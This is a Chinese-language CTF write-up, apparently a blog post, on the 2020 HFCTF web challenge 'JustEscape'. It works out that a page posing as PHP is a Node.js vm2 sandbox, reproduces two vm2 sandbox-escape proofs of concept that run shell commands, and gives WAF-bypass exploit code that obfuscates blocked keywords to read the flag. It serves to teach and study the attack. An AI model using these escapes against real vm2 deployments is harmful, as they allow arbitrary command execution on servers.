CTF

2020-虎符网络安全赛道-Web-JustEscape

2020-04-24  本文已影响0人  余生似梦

复现环境:

https://buuoj.cn/challenges#[HFCTF2020]JustEscape
https://www.ctfhub.com/#/challenge

解题过程:

访问题目,根目录页面存在两个代码示例,同时注意到两个提示,注意编码真的是PHP嘛

数学运算

code: (2+6-7)/3
run online: /run.php?code=(2%2b6-7)/3;
Ouput: 0.3333333333333333

注意编码 =.=

时间戳
code: new Date();
run online: /run.php?code=new%20Date();
Ouput: Fri Nov 22 2019 15:39:22 GMT+0800 (China Standard Time)

真的是 PHP 嘛

直接访问这个接口/run.php?code=,发现源码是php的利用的是eval函数,考虑到上面提示这个php存疑,这个函数再PHP和Node.js都有

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

多这个接口进行测试,运行代码 run.php?code=Error().stack 根据报错信息Node.js,
js中捕获异常堆栈信息—Error.stack
https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md
发现是 vm2 的沙盒逃逸问题
Node.js 常见漏洞学习与总结

Error
    at vm.js:1:1
    at Script.runInContext (vm.js:131:20)
    at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
    at /app/server.js:51:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

https://github.com/patriksimek/vm2/issues/225 搜索可得 vm2 最新沙盒逃逸 poc

One can break out of the sandbox via:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

And another more game breaking one:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

但在直接使用时发现存在 waf:

Happy Hacking WAF

探测 waf 发现程序过滤了以下关键字:

['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']

绕过 waf,并根据 poc 改写 exp.py ,获取 flag

import requests

base_url = "http://x"
url = base_url + '/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat%20flag`)[`toString`]();%20}%20})()'
response = requests.get(url)
print(response.text)

上面是官方writeup给的方法,构造的绕过不太好理解,是通过下面方式构造的
f.constructor("return process")();
f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();

我在网上又看到了另一种绕过方式,比如这里 prototype 被过滤了,我们可以这样书写

`${`${`prototyp`}e`}`

这样来改写我们的 payload,将所有被过滤的关键词用这种方式转换,同时结合数组调用来绕过过滤保证正确调用。

Payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

提交获得flag

GET flag
上一篇下一篇

猜你喜欢

热点阅读